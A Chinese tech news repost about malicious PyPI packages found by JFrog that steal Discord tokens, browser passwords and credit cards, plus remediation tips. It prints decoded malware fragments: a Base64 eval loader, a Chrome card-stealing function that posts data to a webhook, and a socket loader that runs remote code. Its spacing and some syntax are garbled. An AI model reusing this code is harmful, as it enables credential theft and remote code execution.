本文经人工智能新媒体量子比特(公众号ID:QbitAI)授权转载,转载请联系出处。Python程序员真的需要小心了,PyPI软件库问题真的越来越严重了。继今年6月出现挖矿病毒后,近期PyPI上出现了一批恶意软件。JFrog安全团队发现PyPI库中存在多个窃取信用卡信息并远程注入代码的软件,并且这些软件被一共下载。三万次。已被发现有问题的恶意软件是,当程序员安装该软件时,他们会在不知情的情况下在后台读取浏览器文件夹,以窃取信用卡信息和密码。HowTheyStealCreditCardInformationSecurityresearchershavediscoveredthatalloftheaforementionedpackagesuseBase64encodingformasquerading.比如上述的noblesse2:importbase64,codecsmagic='aW1wb3J0IGNvbG9yYW1hLCBkYXRldGltZS...'love='0iLKOcY3L4Y2q1nJkxpl97nJE9Y2EyoTI0M...'god='a2luZy5hcHBlbmQodG9rZW4pDQogICAgICAg...'destiny='yxIKAVDaAQK3xjpQWkqRAboUcBIzqjEmS...'joy='\x72\x6f\x74\x31\x33'trust=eval('\x6d\x61\x67\x69\x63')+eval('\x63\x6f\x64\x65\x63\x73\x2e\x64...')eval(编译(base64.b64decode(eval('\x74\x72\x75\x73\x74')),'','exec'))这种方法可以骗过一些简单的分析工具,但仔细研究一下就能发现问题所在。以上8个软件包包含以下不同类型的恶意行为:1.窃取Discord账户认证令牌Discord认证令牌读取器的代码非常简单,就是一组硬编码的路径:local=os.getenv('LOCALAPPDATA')roaming=os.getenv('APPDATA')paths={'Discord':roaming+'\\Discord','DiscordCanary':roaming+'\\discordcanary','DiscordPTB':roaming+'\\discordptb','GoogleChrome':local+'\\Google\\Chrome\\UserData\\Default','Opera':roaming+'\\OperaSoftware\\OperaStable','Brave':local+'\\BraveSoftware\\Brave-Browser\\UserData\\Default','Yandex':local+'\\Yandex\\YandexBrowser\\UserData\\Default'}然后代码会读取这些浏览器路径下的所有.log和.ldb文件,并找到Discord身份验证token并通过Webhook将结果上传到Discord。2.窃取浏览器中存储的密码或信用卡数据当您在浏览器中输入密码或信用卡数据时,一般会弹出如下窗口,提示用户保存信息。虽然这对用户来说很方便,因为以后不必一遍又一遍地输入密码,但缺点是这些信息可能会被恶意软件访问。在这种情况下,恶意软件会尝试从Chrome窃取信用卡信息:defcs():master_key=master()login_db=os.environ['USERPROFILE']+os.sep+\r'AppData\Local\Google\Chrome\UserData\default\WebData'shutil.copy2(login_db,"CCvault.db")conn=sqlite3.connect("CCvault.db")cursor=conn.cursor()try:cursor.execute("SELECT*FROMcredit_cards")forrincursor。fetchall():username=r[1]encrypted_pa??ssword=r[4]decrypted_pa??ssword=dpw(encrypted_pa??ssword,master_key)expire_mon=r[2]expire_year=r[3]hook.send(f"CARD-NAME:"+username+"\nNUMBER:"+decrypted_pa??ssword+"\nEXPIRYM:"+str(expire_mon)+"\nEXPIRYY:"+str(expire_year)+"\n"+"*"*10+"\n")这些信息和之前的在同样的情况,会通过Webhook上传。3.收集有关受感染PC的信息:如IP地址、计算机名和用户名此外,这些软件还会收集Windows许可证密钥信息、Windows版本和屏幕截图。4.远程代码注入pytagora和pytagora2将尝试连接到端口9009上的IP地址,然后执行Socket中可用的任何Python代码。混淆后的代码被安全人员解码为以下片段:importsocket,struct,times=socket.socket(2,socket.socket.socket.SOCK_STREAM)s.connect(('172.16.60.80',9009))l=struct.unpack('>I',s.recv(4))[0]print(l)d=s.recv(l)print(d)whilelen(d)>!1:d+=s.recv(l-len(d))print(d)exec(d,{'s':s})但是安全现在不知道这个IP地址是什么,或者上面是否有恶意软件。中毒后如何抢救如果发现自己的电脑安装了noblesse等恶意软件,请检查浏览器保存了哪些密码。这些密码可能已经泄露,请尽快修改。Edge浏览器用户请在地址栏输入edge://settings/passwords查看保存的密码。Chrome浏览器用户,请在地址栏输入chrome://settings/payments,在支付方式一栏查看保存的信用卡信息。同样令人欣慰的是PyPI维护者已经删除了恶意包。尽管PyPI软件存储库现在是安全的,但鉴于这些开源软件存储库的当前维护状态,未来很可能会出现更多攻击。今年PyPI库出现了不止一个安全问题。“对手能够使用简单的混淆技术引入恶意软件,这意味着开发人员必须保持警惕,”JFrog首席技术官说。该级别的积极解决方案。”
